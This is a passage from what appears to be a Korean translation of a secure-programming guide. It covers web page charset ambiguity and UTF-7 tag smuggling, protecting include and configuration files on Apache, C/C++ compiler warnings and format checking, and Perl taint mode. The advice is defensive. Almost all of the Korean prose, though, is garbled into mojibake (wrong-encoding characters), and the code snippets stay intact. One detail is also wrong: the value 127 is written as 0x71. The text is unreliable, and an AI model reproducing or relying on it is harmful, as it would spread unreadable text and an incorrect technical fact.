¸¹Àº À¥ÆäÀÌÁöµéÀº ¹®ÀÚ ÀÎÄÚµù (HTTP ¿¡¼­ "charset" ¸Å°³º¯¼ö) À» Á¤ÀÇÇÏÁö ¾ÊÀº ä µÎ°í ÀÖ´Ù. HTML °ú HTTP Ãʱ⠹öÀü¿¡¼­´Â ¹®ÀÚ ÀÎÄÚµùÀÌ Á¤ÀǵǾî ÀÖÁö ¾ÊÀ¸¸é À̸¦ µðÆúÆ®·Î ISO-8859-1 ·Î °£ÁÖÇߴµ¥ »ç½Ç ¸¹Àº ºê¶ó¿ìÀúµéÀº ´Ù¸¥ µðÆúÆ®¸¦ °¡Áö¸ç µû¶ó¼­ ISO-8859-1 µðÆúÆ®¿¡ ÀÇÁ¸ÇÏ´Â °ÍÀº ºÒ°¡´ÉÇß´Ù. HTML ¹öÀü 4 ´Â À̸¦ ÇÕ¹ýÈ­Çϴµ¥ ¹®ÀÚ ÀÎÄÚµùÀÌ ÁöÁ¤µÇÁö ¾ÊÀ¸¸é ¾î¶°ÇÑ ¹®ÀÚ ÀÎÄÚµùµµ »ç¿ëµÉ ¼ö ÀÖ´Ù.

À¥ ¼­¹ö°¡ ¾î¶² ¹®ÀÚ ÀÎÄÚµùÀÌ »ç¿ëÁßÀÎÁö¸¦ ÁöÁ¤ÇÏÁö ¾ÊÀ¸¸é ¾î¶² ¹®ÀÚµéÀÌ Æ¯º°ÇÑ °ÍÀÎÁö ¾Ë¸± ¼ö ¾ø´Ù. ¹®ÀÚ ÀÎÄÚµùÀÌ ÁöÁ¤µÇÁö ¾ÊÀº À¥ ÆäÀÌÁöµéÀº ´ëºÎºÐÀÇ ¹®ÀÚ¼ÂÀÌ µ¿ÀÏÇÑ ¹®Àڵ鿡 128 ¹Ì¸¸ÀÇ ¹ÙÀÌÆ® °ªµéÀ» ÇÒ´çÇϱ⠶§¹®¿¡ ´ëºÎºÐ ÀÛµ¿ÇÑ´Ù. ±×·¯³ª 128 ÀÌ»óÀÇ °ªµéÁß¿¡¼­ ¾î¶² °ªµéÀÌ Æ¯º°ÇѰ¡? ¾î¶² 16 ºñÆ® ¹®ÀÚ ÀÎÄÚµù ü°èµéÀº "<" ¿Í °°Àº Ưº° ¹®Àڵ鿡 ´ëÇØ Ãß°¡ÀûÀÎ ¸ÖƼ ¹ÙÀÌÆ® Ç¥ÇöÀ» °®°í ÀÖÀ¸¸ç ¾î¶² ºê¶ó¿ìÀúµéÀº ÀÌ·¯ÇÑ ´ëü ÀÎÄÚµùÀ» ÀνÄÇØ¼­ ÀÌ¿¡ µû¶ó ÇൿÇÑ´Ù. ÀÌ´Â ``Á¤È®ÇÑ" °Åµ¿ÀÌÁö¸¸ ¾ÇÀÇÀÖ´Â ½ºÅ©¸³Æ®¸¦ »ç¿ëÇÑ °ø°ÝÀ» ¿¹¹æÇϱ⠴õ¿í ¾î·Æ°Ô ¸¸µç´Ù. ¼­¹ö´Â ¾î¶² ¹ÙÀÌÆ® ½ÃÄö½º°¡ Ưº° ¹®ÀÚµéÀ» ³ªÅ¸³»´ÂÁö ´Ü¼øÈ÷ ¸ð¸£°í ÀÖ´Ù.

¿¹¸¦ µé¾î UTF-7 Àº "<" °ú ">" ¿¡ ´ëÇØ ´ëü ÀÎÄÚµùÀ» Á¦°øÇÏ¸ç ¸î¸î ³Î¸®¾²ÀÌ´Â ºê¶ó¿ìÀúµéÀº À̸¦ ½ÃÀÛ ¹× ³¡ ű׷ΠÀνÄÇÑ´Ù. µû¶ó¼­ ÀÌ´Â ±×·¯ÇÑ ºê¶ó¿ìÀú¿¡¼­´Â ¹ö±×°¡ ¾Æ´Ï¸ç ¹®ÀÚ ÀÎÄÚµùÀÌ ½ÇÁ¦·Î UTF-7 À̶ó¸é ÀÌ´Â Á¤È®ÇÑ °Åµ¿ÀÌ´Ù. ¹®Á¦´Â ºê¶ó¿ìÀú¿Í ¼­¹ö°¡ ÀÎÄÚµùÀÌ ÀÏÄ¡ÇÏÁö ¾ÊÀº »óȲ¿¡ ³õÀÏ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù.

°í¸¿°Ô ÀÌ ¹®Á¦¸¦ ¼³¸íÇÏ´Â °ÍÀÌ ¾î·Á¿ò¿¡µµ ºÒ±¸Çϰí HTML ¿¡¼­ À̸¦ ÇØ°áÇÏ´Â °ÍÀº °£´ÜÇѵ¥ HTML Çì´õ¿¡ CERT ·ÎºÎÅÍÀÇ ´ÙÀ½ ¿¹¿Í °°ÀÌ charset À» ´Ü¼øÈ÷ ÁöÁ¤ÇÏ´Â °ÍÀÌ´Ù:

<HTML>
<HEAD>
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<P>This is a sample HTML page
</BODY>
</HTML>

±â¼úÀû °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ ´õ¿í ÁÁÀº Á¢±Ù ¹æ¹ýÀº HTTP ÇÁ·ÎÅäÄÝ Ãâ·ÂÀÇ ÀϺκÐÀ¸·Î ¹®ÀÚ ÀÎÄÚµùÀ» ¼³Á¤ÇÏ´Â °ÍÀÌ´Ù. ¹°·Ð ¾î¶² ¶óÀ̺귯¸®µéÀº À̸¦ ´õ¿í ¾î·Æ°Ô ¸¸µé±âµµ ÇÑ´Ù. À̴ Ŭ¶óÀÌ¾ðÆ®¿¡°Ô Çì´õÀÇ ¸ÞŸÁ¤º¸¸¦ ÀÐÀ» ¼ö ÀÖ°Ô ÇÏ´Â ¹®ÀÚ ÀÎÄÚµùÀ» °áÁ¤Çϱâ À§ÇØ Çì´õ¸¦ Á¶»çÇϵµ·Ï ÇÏÁö ¸øÇϱ⠶§¹®¿¡ ±â¼úÀûÀ¸·Î ´õ¿í ÁÁ´Ù. ¹°·Ð ½ÇÁ¦·Î ¸ÞŸ Á¤º¸¸¦ ÀÐÀ» ¼ö ¾ø°í À̸¦ Á¤È®È÷ »ç¿ëÇÒ ¼ö ¾ø´Â ºê¶ó¿ìÀú°¡ ÆÇ¸Å ½ÃÀå¿¡¼­ ¼º°øÇÒ ¼ö ¾øÁö¸¸ ÀÌ´Â ´Ù¸¥ ¹®Á¦ÀÌ´Ù. ¾î¶² °æ¿ìµç ÀÌ´Â ¼­¹ö°¡ HTTP ÇÁ·ÎÅäÄÝÀÇ ÇÑ ºÎºÐÀ¸·Î ¿øÇÏ´Â °ªÀ» °®´Â "charset" À» º¸³¾ Çʿ䰡 ÀÖÀ½À» ÀǹÌÇÑ´Ù. ºÒÇàÈ÷ ¾î¶² ¿¹Àü HTTP/1.0 Ŭ¶óÀÌ¾ðÆ®µéÀº ¸í½ÃÀûÀÎ charset ¸Å°³º¯¼ö¸¦ ÀûÀýÈ÷ ´Ù·çÁö ¸øÇϱ⠶§¹®¿¡ ÀÌ·¯ÇÑ ±â¼úÀûÀ¸·Î ´õ¿í ÁÁÀº Á¢±Ù ¹æ¹ýÀ» ÁøÁöÇÏ°Ô ÃßõÇÏ´Â °ÍÀº ¾î·Æ´Ù. HTTP/1.1 ½ºÆåÀÌ Å¬¶óÀÌ¾ðÆ®¿¡°Ô ¸Å°³º¯¼ö¸¦ µû¸£¶ó°í ¿ä±¸ÇÔ¿¡µµ ºÒ±¸Çϰí À̸¦ À¯ÀÏÇÑ ¸ÞÄ«´ÏÁòÀÌ ¾Æ´Ñ Á¤È®ÇÑ ¹®ÀÚ ÀÎÄÚµù »ç¿ëÀ» °­¿äÇÏ´Â ºÎ¼Ó¹°·Î ¾î¶»°Ôµç À̸¦ »ç¿ëÇØ¾ß ÇÒ¸¸Å­ ÃæºÐÇÑÁö´Â Àǽɽº·´´Ù.


8.6. Æ÷ÇÔ/¼³Á¤ ÆÄÀÏ Á¢±ÙÀ» ¿¹¹æÇضó

À¥±â¹Ý ¾ÖÇø®ÄÉÀ̼ÇÀ» °³¹ßÇÒ ¶§ »ç¿ëÀڵ鿡°Ô Æ÷ÇÔ (include) ÇÁ·Î±×·¥°ú ¼³Á¤ ÆÄÀϰú °°Àº ÆÄÀϵéÀ» Á¢±Ù ¶Ç´Â Àб⸦ Çã¿ëÇÏÁö ¸¶¶ó. ÀÌ µ¥ÀÌŸ´Â ½Ã½ºÅÛ¿¡ ħÀÔÇϴµ¥ ÃæºÐÇÑ Á¤º¸ (¿¹, ÆÐ½º¿öµå) ¸¦ Á¦°øÇÒ ¼öµµ ÀÖ´Ù. ÀÌ ÁöħÀº ¶§¶§·Î ´Ù¸¥ À¯ÇüÀÇ ¾ÖÇø®ÄÉÀ̼ǿ¡µµ ¶ÇÇÑ Àû¿ëµÊÀ» ÁÖ¸ñÇØ¶ó. À̸¦ À§ÇØ ÃëÇÒ ¼ö ÀÖ´Â ¸î¸î ÇൿµéÀÌ ÀÖ´Ù:

  • Æ÷ÇÔ/¼³Á¤ ÆÄÀϵéÀ» À¥ ¹®¼­ ·çÆ®ÀÇ ¿ÜºÎ¿¡ µÎ¾î¶ó (À¥ ¼­¹ö°¡ ÀÌ·¯ÇÑ ÆÄÀϵéÀ» Àý´ë·Î Á¦°øÇÒ ¼ö ¾øµµ·Ï)

  • Æ÷ÇÔ ÆÄÀϵéÀ» ÅØ½ºÆ®·Î Á¦°øÇÏÁö ¾Êµµ·Ï À¥ ¼­¹ö¸¦ ¼³Á¤Çضó. ¿¹¸¦ µé¾î ¾ÆÆÄÄ¡¸¦ »ç¿ëÇÑ´Ù¸é .inc ÆÄÀϵ鿡 Çڵ鷯 ¶Ç´Â ¾×¼ÇÀ» Ãß°¡ÇÒ ¼ö ÀÖ´Ù.

  • Æ÷ÇÔ ÆÄÀϵéÀ» .htaccess ¸¦ »ç¿ëÇØ º¸È£µÈ µð·ºÅ丮¿¡ µÎ°í À̵éÀ» Á¦°øÇÏÁö ¾ÊÀ» ÆÄÀϵé·Î ÁöÁ¤Çضó.

  • ÆÄÀϵ鿡 ´ëÇÑ Á¢±ÙÀ» °ÅÀýÇϱâ À§ÇØ ÇÊÅ͸¦ »ç¿ëÇØ¶ó. ¾ÆÆÄÄ¡ °æ¿ì ´ÙÀ½°ú °°´Ù:

     <Files ~ "\.phpincludes">
        Order allow,deny
        Deny from all
     </Files>

    ÆÄÀÏ À̸§°ú ÀÏÄ¡½Ã۱â À§ÇØ ¿ÏÀüÇÑ Á¤±Ô Ç¥ÇöÀÌ ÇÊ¿äÇÏ´Ù¸é ¾ÆÆÄÄ¡¿¡¼­´Â FilesMatch Áö½Ã¸¦ »ç¿ëÇØ¶ó.

  • Æ÷ÇÔ ÆÄÀÏÀÌ ¼­¹ö°¡ ºÐ¼®ÇÒ È®½ÇÇÑ ½ºÅ©¸³Æ® ÆÄÀÏÀ̶ó¸é ¹Ýµå½Ã ÀÌ ÆÄÀÏÀÌ »ç¿ëÀÚ°¡ Á¦°øÇÑ ¸Å°³º¯¼ö¿¡ µû¶ó ÇൿÇÏÁö ¾ÊÀ¸¸ç ¾ÈÀüÇÏ°Ô ¼³°èµÇ¾ú´ÂÁö È®ÀÎÇØ¶ó.

ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýµéÀº ÆÄÀϵéÀÌ world-readable À̶ó¸é À̵éÀÌ ÀÖ´Â µð·ºÅ丮¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â »ç¿ëÀÚµé·ÎºÎÅÍ´Â º¸È£ÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ´ÜÁö À¥ ¼­¹öÀÇ uid/gid ¸¸ ÀÌ·¯ÇÑ ÆÄÀϵéÀ» ÀÐÀ» ¼ö ÀÖµµ·Ï Çã°¡±ÇÀ» º¯°æÇÒ ¼ö´Â ÀÖ´Ù. ±×·¯³ª ÀÌ Á¢±Ù ¹æ¹ýÀº »ç¿ëÀÚ°¡ À¥ ¼­¹ö¿¡°Ô ÀÚ½ÅÀÇ ½ºÅ©¸³Æ®¸¦ ½ÇÇà½Ã۵µ·Ï ÇÒ ¼ö ÀÖ´Ù¸é È¿°ú°¡ ¾øÀ» °ÍÀÌ´Ù (»ç¿ëÀÚ°¡ ´ÜÁö ÆÄÀÏ¿¡ Á¢±ÙÇÏ´Â ½ºÅ©¸³Æ®¸¦ ÀÛ¼ºÇÒ ¼ö ÀÖ´Ù). ±âº»ÀûÀ¸·Î »çÀÌÆ®°¡ ½Å·ÚµÇÁö ¾ÊÀº »ç¶÷µé°ú °øÀ¯µÇ´Â ¼­¹ö¿¡¼­ È£½ºÆÃµÇ°í ÀÖ´Ù¸é ½Ã½ºÅÛÀ» ¾ÈÀüÇÏ°Ô ÇÏ´Â °ÍÀº ¾î·Æ´Ù. ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº °¢ÀÚ°¡ ´Ù¸¥ Çã°¡±ÇÀ» °®´Â ´ÙÁß À¥ ¼­¹ö ÇÁ·Î±×·¥À» ½ÇÇà½ÃŰ´Â °ÍÀε¥ ÀÌ´Â ´õ¿í Çâ»óµÈ º¸¾ÈÀ» Á¦°øÇÏÁö¸¸ ½ÇÁ¦·Î ¸Å¿ì Èûµé´Ù. ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº ÀÌ·¯ÇÑ ÆÄÀϵéÀ» °¢ÀÚÀÇ uid/gid ¿¡ ÀÇÇØ¼­¸¸ ÀÐÀ» ¼ö ÀÖµµ·Ï ¼³Á¤ÇÏ¿© ¼­¹ö°¡ ``°¢ÀÚ"ÀÇ Çã°¡±ÇÀ¸·Î ½ºÅ©¸³Æ®¸¦ ½ÇÇà½ÃŰ°Ô ÇÏ´Â °ÍÀÌ´Ù. ÀÌ µÎ¹øÂ° ¹æ¹ýÀº ÀÚüÀûÀ¸·Î ¹®Á¦¸¦ °®°í Àִµ¥ ¼­¹öÀÇ ¾î¶² ºÎºÐµéÀÌ ·çÆ® ±ÇÇÑÀ» °¡Á®¾ß ÇÏ¸ç ½ºÅ©¸³Æ®°¡ ÇÊ¿ä ÀÌ»óÀÇ ±ÇÇÑÀ» °¡Áú ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù.


9장. ¾ð¾î¿¡ ƯÁ¤ÀûÀÎ ÀïÁ¡

 

Undoubtedly there are all sorts of languages in the world, yet none of them is without meaning.

 1 Corinthians 14:10 (NIV)

¾ð¾îµé¿¡ ƯÁ¤ÀûÀÎ ¸¹Àº º¸¾È ¹®Á¦µéÀÌ Àִµ¥ À̵éÀº ´ÙÀ½°ú °°ÀÌ ¿ä¾àµÉ ¼ö ÀÖ´Ù:

  • Çö½ÇÀûÀ¸·Î »ç¿ëÇÒ ¼ö ÀÖ´Â ¸ðµç °ü·Ã °æ°í¿Í º¸È£ ¸ÞÄ«´ÏÁòÀ» ÄѶó. ÄÄÆÄÀÏ ¾ð¾îÀÇ °æ¿ì ÀÌ´Â ÄÄÆÄÀÏŸÀÓ ¹× ·±Å¸ÀÓ ¸ÞÄ«´ÏÁò ¸ðµÎ¸¦ Æ÷ÇÔÇÑ´Ù. ÀϹÝÀûÀ¸·Î º¸¾È °ü·Ã ÇÁ·Î±×·¥µéÀº ¸ðµç °æ°í°¡ ÄÑÁøÃ¤ »õ·Ó°Ô ÄÄÆÄÀÏ µÇ¾î¾ß ÇÑ´Ù.

  • ¾ð¾î¿¡ À§ÇèÇÏ°í ¹Ý´ëµÇ°í ÀÖ´Â ¿¬»êµéÀ» ÇÇÇØ¶ó. Á¤È®È÷ »ç¿ëÇϱ⠾î·Á¿î ¿¬»êµéÀÌ "À§Çè"ÇÑ °ÍÀÌ´Ù.

  • ¾ð¾îÀÇ ÀÎÇÁ¶ó (¿¹, ·±Å¸ÀÓ ¶óÀ̺귯¸®) °¡ »ç¿ëµÉ ¼ö ÀÖ´ÂÁö ¾ÈÀüÇÏ°Ô º¸È£µÇ¾î ÀÖ´Â Áö¸¦ º¸ÁõÇØ¶ó.

  • ¹®ÀÚ¿­À» ÀÚµ¿ÀûÀ¸·Î °¡ºñÁö Ä÷ºÆ®ÇÏ´Â ¾ð¾îµéÀº ±â¹Ð µ¥ÀÌŸ¸¦ Áï½Ã Áö¿ì´Âµ¥ ƯÈ÷ ÁÖÀÇÇØ¾ß ÇÑ´Ù (ƯÈ÷ ºñ¹ÐŰ¿Í ÆÐ½º¿öµå).

  • »ç¿ëÇϰí ÀÖ´Â ¿¬»êµéÀÇ ÀÇ¹Ì ±ÔÄ¢À» Á¤È®È÷ ¾Ë¾Æ¶ó. ¹®¼­³»¿¡¼­ °¢ ¿¬»êÀÇ ÀÇ¹Ì ±ÔÄ¢À» ã¾Æ¶ó. ÀûÀýÇÏ´Ù°í È®½ÅÇÏÁö ¸øÇÑ´Ù¸é ¹Ýȯ°ªµéÀ» ¹«½ÃÇÏÁö ¸¶¶ó. "signed" ¿Í "unsigned" °ªµé »çÀÌÀÇ Â÷À̸¦ ¹«½ÃÇÏÁö ¸¶¶ó. ÀÌ´Â C ¿Í °°ÀÌ ¿¹¿Ü 󸮸¦ Áö¿øÇÏÁö ¾Ê´Â ¾ð¾î¿¡¼­ ƯÈ÷ ¾î·ÆÁö¸¸ ¹æ¹ýÀº ÀÖ´Ù.


9.1. C/C++

C ¹× C++ ÇÁ·Î±×·¥°ú °ü·ÃµÈ °¡Àå Ä¿´Ù¶õ º¸¾È ¹®Á¦ÁßÀÇ Çϳª´Â ¹öÆÛ ¿À¹öÇ÷οì·Î ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 5장 À» º¸¶ó. C ´Â ¿¹¿Ü 󸮸¦ Áö¿øÇÏÁö ¾Ê´Â´Ù´Â Ãß°¡ÀûÀÎ ¾àÁ¡À» °®°í Àִµ¥ ÀÌ´Â Áß´ëÇÑ ¿¡·¯ »óȲÀ» ¹«½ÃÇÏ´Â ÇÁ·Î±×·¥ ÀÛ¼ºÀ» ¿ëÀÌÇÏ°Ô ÇÑ´Ù.

C ¿Í C++ ¿¡¼­ ¹®ÀÚ Å¸ÀÔ ``char" Àº ÄÄÆÄÀÏ·¯¿Í ¸Ó½Å¿¡ µû¶ó signed ¶Ç´Â unsigned µÉ ¼ö ÀÖ´Ù ´Â°ÍÀº ÇѰ¡Áö È¥¶õ½º·± ¹®Á¦ÀÌ´Ù. »óÀ§ ºñÆ®°¡ ¼³Á¤µÇ¾î ÀÖ´Â signed char ÀÌ Á¤¼ö·Î ÀúÀåµÉ ¶§ °á°ú´Â À½¼öÀÏ °ÍÀε¥ ¾î¶² °æ¿ì ÀÌ´Â ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ÀϹÝÀûÀ¸·Î 127 (0x71) º¸´Ù Å« °ªÀ» °¡Áú ¼öµµ ÀÖ´Â ¹®ÀÚ µ¥ÀÌŸ¸¦ ´Ù·ê¶§ ¹öÆÛ, Æ÷ÀÎÅÍ¿Í Ä³½ºÆ®¿¡ ´ëÇØ¼­´Â char ¶Ç´Â signed char ´ë½Å ``unsigned char" ¸¦ »ç¿ëÇØ¶ó.

C ¿Í C++ Àº ŸÀÔ °Ë»ç Áö¿ø¿¡ ÀÖ¾î Á¤ÀÇ»ó »ó´çÈ÷ ¸ðÈ£ÇÏÁö¸¸ Äڵ忡¼­ ¸ðÈ£ÇÒ ÇÊ¿ä´Â ¾ø´Ù. °¡´ÉÇÑ ÇÑ ¸¹Àº ÄÄÆÄÀÏ·¯ °æ°í¸¦ ÄѰí Äڵ带 º¯°æÇؼ­ ÀÌ¿ÍÇÔ²² »õ·Ó°Ô ÄÄÆÄÀÏÇÏ¸ç ¸ðµç ÇÔ¼ö È£ÃâÀÌ Á¤È®ÇÑ Å¸ÀÔÀ» »ç¿ëÇÏ´Â Áö¸¦ º¸ÀåÇϱâ À§ÇØ º°µµÀÇ Çì´õ (.h) ÆÄÀÏ¿¡ ANSI ¿øÇüÀ» ¾ö°ÝÈ÷ »ç¿ëÇØ¶ó. gcc ¸¦ »ç¿ëÇÑ C ¶Ç´Â C++ ÄÄÆÄÀÏÀÇ °æ¿ì Àû¾îµµ ¸¹Àº °æ°í ¸Þ½ÃÁö¸¦ ÄÑ´Â ´ÙÀ½À» ÄÄÆÄÀÏ Ç÷¡±×·Î »ç¿ëÇØ ¸ðµç °æ°í¸¦ Á¦°ÅÇÏ·Á°í ÇØ¶ó (¾î¶² °æ°í´Â ´õ¿í ³ôÀº ÃÖÀûÈ­ ¼öÁØ¿¡¼­ ¼öÇàµÇ´Â µ¥ÀÌŸ ÇÃ·Î¿ì ºÐ¼®¿¡ ÀÇÇØ¼­¸¸ ŽÁöµÉ ¼ö Àֱ⠶§¹®¿¡ -O2 °¡ »ç¿ëµÊÀ» ÁÖ¸ñÇØ¶ó):

gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2
¶ÇÇÑ "-W -pedantic" À» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù.

¸¹Àº C/C++ ÄÄÆÄÀÏ·¯´Â ºÎÁ¤È®ÇÑ Æ÷¸Ë ¹®ÀÚ¿­µéÀ» ŽÁöÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î gcc ´Â ÇÔ¼ö¸¦ Ç¥½ÃÇϱâ À§ÇØ __attribute__() ±â´É (C È®Àå) À» »ç¿ëÇÑ´Ù¸é ÀÌ ÇÔ¼ö¿¡ ´ëÇÑ ºÎÁ¤È®ÇÑ Æ÷¸Ë ¹®ÀÚ¿­¿¡ ´ëÇØ °æ°í¸¦ ÇÒ ¼ö ÀÖÀ¸¸ç Äڵ带 À̽ĺҰ¡´ÉÇÏ°Ô ¸¸µéÁö ¾Ê°í¼­µµ ÀÌ ±â´ÉÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½Àº Çì´õ (.h) ÆÄÀÏ¿¡ ÀÖ´Â ¿¹ÀÌ´Ù:

 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));
"format" ¼Ó¼ºÀº "printf" ¶Ç´Â "scanf" ¸¦ ÃëÇÏ¸ç ¼ýÀÚµéÀº °¢°¢ Æ÷¸Ë ¹®ÀÚ¿­ÀÇ ¸Å°³º¯¼ö¿Í ù¹øÂ° variadic ¸Å°³º¯¼öÀÇ ¼öÀÌ´Ù. GNU docs ¿¡ À̵鿡 ´ëÇØ Àß ¼³¸íµÇ¾î ÀÖ´Ù. "noreturn" ¿Í "const" ¿Í °°Àº ´Ù¸¥ __attribute__ ±â´Éµéµµ ÀÖÀ½À» ÁÖ¸ñÇØ¶ó.

°¡´ÉÇÑ ¿­°ÅµÇ´Â °ªµéÀ» Á¤ÀÇÇϱâ À§ÇØ Æ¯º°ÇÑ °ªÀ» °®´Â ``char" ¶Ç´Â ``int" °¡ ¾Æ´Ñ ``enum" À» »ç¿ëÇØ¶ó. ÀÌ´Â ÄÄÆÄÀÏ·¯°¡ ¸ðµç ÇÕ¹ýÀûÀÎ °ªµéÀÌ ´Ù·ç¾îÁ³´ÂÁö °áÁ¤Çϱâ À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Â switch ¹®ÀÇ °ªµé¿¡ ´ëÇØ ƯÈ÷ À¯¿ëÇÏ´Ù.


9.2. ÆÞ

ÆÞ ÇÁ·Î±×·¡¸ÓµéÀº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼º°ú °ü·ÃµÈ ¸¹Àº ¹®Á¦Á¡µéÀ» ¼³¸íÇÏ´Â perlsec(1) ¸Ç ÆäÀÌÁö¸¦ ¿ì¼± Àоî¾ß ÇÑ´Ù. ƯÈ÷ perlsec(1) Àº ´ëºÎºÐÀÇ º¸¾ÈÀûÀÎ ÆÞ ÇÁ·Î±×·¥µéÀÌ »ç¿ëÇØ¾ß ÇÏ´Â "taint" ¸ðµå¸¦ ¼³¸íÇϰí ÀÖ´Ù. Taint ¸ðµå´Â real °ú effective »ç¿ëÀÚ ¶Ç´Â ±×·ì ID °¡ ´Ù¸£¸é ÀÚµ¿ÀûÀ¸·Î Çã°¡µÇ¸ç ¶ÇÇÑ -T Ä¿¸Çµå ¶óÀÎ Ç÷¡±×¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù (CGI ½ºÅ©¸³Æ®¿Í °°ÀÌ ¾î¶² ´©±¸°¡¸¦ ´ë½ÅÇØ ÀÛµ¿½ÃŲ´Ù¸é À̸¦ ÃßÈÄ¿¡ »ç¿ëÇØ¶ó). Taint ¸ðµå´Â °æ·Î µð·ºÅ丮µéÀÌ others °¡ write Çã°¡±ÇÀÌ ¾øÀ½À» È®ÀÎÇϱâ À§ÇØ À̵éÀÇ °Ë»ç¿Í °°Àº ´Ù¾çÇÑ °Ë»çµéÀ» ÄÒ´Ù.

Taint ¸ðµåÀÇ °¡Àå ¸í¹éÇÑ ¿µÇâÀº ÇÁ·Î±×·¥ ¿ÜºÎÀÇ ¾î¶² ¹«¾ð°¡¿¡ ¿ì¿¬È÷ ¿µÇâÀ» ³¢Ä¥ ¼öÀÖ´Â ÇÁ·Î±×·¥ ¿ÜºÎ·ÎºÎÅÍ ÆÄ»ýµÈ µ¥ÀÌŸ¸¦ »ç¿ëÇÏÁö ¸øÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. Taint ¸ðµå¿¡¼­ ¸ðµç ¿ÜºÎ·ÎºÎÅÍ ¾òÀº ÀÔ·ÂÀº "tainted" ·Î Ç¥½ÃµÇ¸ç ÀÌ¿¡´Â Ä¿¸Çµå ¶óÀÎ Àμö, ȯ°æ º¯¼ö, ·ÎÄÉÀÏ Á¤º¸ (perllocale(1) À» º¸¶ó), ¾î¶² ½Ã½ºÅÛ È£ÃâÀÇ °á°ú (readdir, readlink, getpw* È£ÃâÀÇ gecos Çʵå) ¿Í ¸ðµç ÆÄÀÏ ÀԷµéÀÌ ÀÖ´Ù. Tainted µ¥ÀÌŸ´Â ¼­ºê ½©À» È£ÃâÇÏ´Â ¸ðµç ¸í·É ¶Ç´Â ÆÄÀÏ, µð·ºÅ丮 ¶Ç´Â ÇÁ·Î¼¼½º¸¦ º¯°æÇÏ´Â ¸ðµç ¸í·É¿¡¼­ Á÷Á¢Àû ¶Ç´Â °£Á¢ÀûÀ¸·Î »ç¿ëµÇÁö ¸øÇÒ ¼ö ÀÖ´Ù. ÇѰ¡Áö Áß¿äÇÑ ¿¹¿Üµµ Àִµ¥ Àμö ¸ñ·ÏÀ» system ¶Ç´Â exec ¿¡ °Ç³×ÁØ °æ¿ì ±× ¸ñ·ÏÀÇ ¿ä¼ÒµéÀº tainedness ¿¡ NOT À¸·Î üũµÈ´Ù. µû¶ó¼­ taint ¸ðµå¿¡¼­ system ¶Ç´Â exec ¿¡ ƯÈ÷ ÁÖÀÇÇØ¶ó.

Tainted µ¥ÀÌŸ·ÎºÎÅÍ ÆÄ»ýµÈ ¸ðµç µ¥ÀÌŸ °ªµµ ¶ÇÇÑ tainted µÈ´Ù. ÇѰ¡Áö ¿¹¿Ü°¡ Àִµ¥ µ¥ÀÌŸ¸¦ untainting ÇÏ´Â ¹æ¹ýÀº tainted µ¥ÀÌŸ·ÎºÎÅÍ ¼­ºê ¹®ÀÚ¿­À» ÃßÃâÇÏ´Â °ÍÀÌ´Ù. ±×·¸Áö¸¸ ¸¶±¸ÀâÀÌ·Î ±×Àú ".*" ¸¦ ¼­ºê ¹®ÀÚ¿­·Î »ç¿ëÇÏÁö ¸¶¶ó ÀÌ´Â tainting ¸ÞÄ«´ÏÁòÀÇ º¸È£¸¦ ¹«³Ê¶ß¸± ¼öµµ ÀÖ´Ù. ´ë½Å ÇÁ·Î±×·¥ÀÌ Çã¿ëÇÏ´Â ``¾ÈÀüÇÑ" ÆÐÅÏÀ¸·Î È®ÀÎµÈ ÆÐÅϵ鸸À» ½Äº°Çϰí À̵éÀ» »ç¿ëÇØ "È®½ÇÇÑ" °ªµéÀ» ÃßÃâÇØ¶ó. °ªÀ» ÃßÃâÇÑ ÈÄ¶óµµ À̸¦ °Ë»çÇÒ Çʿ䰡 ÀÖ´Ù (ƯÈ÷ ±æÀÌ¿¡ ´ëÇØ °Ë»çÇÒ Çʿ䰡 ÀÖ´Ù).

open, glob ¿Í backtick ÇÔ¼öµéÀº ÆÄÀÏ À̸§ÀÇ ¿ÍÀϵåÄ«µå ¹®ÀÚµéÀ» È®ÀåÇϱâ À§ÇØ ½©À» »ç¿ëÇϴµ¥ ÀÌ´Â º¸¾È ±¸¸ÛÀ» ¿­±â À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ÇÔ¼öµéÀ» ÀüÀûÀ¸·Î ÇÇÇϰųª perlsec(1) ¿¡ ±â¼úµÈ °Í°ú °°ÀÌ ±ÇÇÑÀÌ ÀûÀº sandbox ¿¡¼­ À̵éÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ƯÈ÷ backtick Àº system() È£ÃâÀ» »ç¿ëÇØ ÀçÀÛ¼ºµÇ¾î¾ß ÇÑ´Ù (¶Ç´Â ´õ¿í ÁÁÀº ¹æ¹ýÀ¸·Î´Â ¿ÏÀüÈ÷ ´õ¿í ¾ÈÀüÇÑ °ÍÀ¸·Î º¯°æµÇ¾î¾ß ÇÑ´Ù).

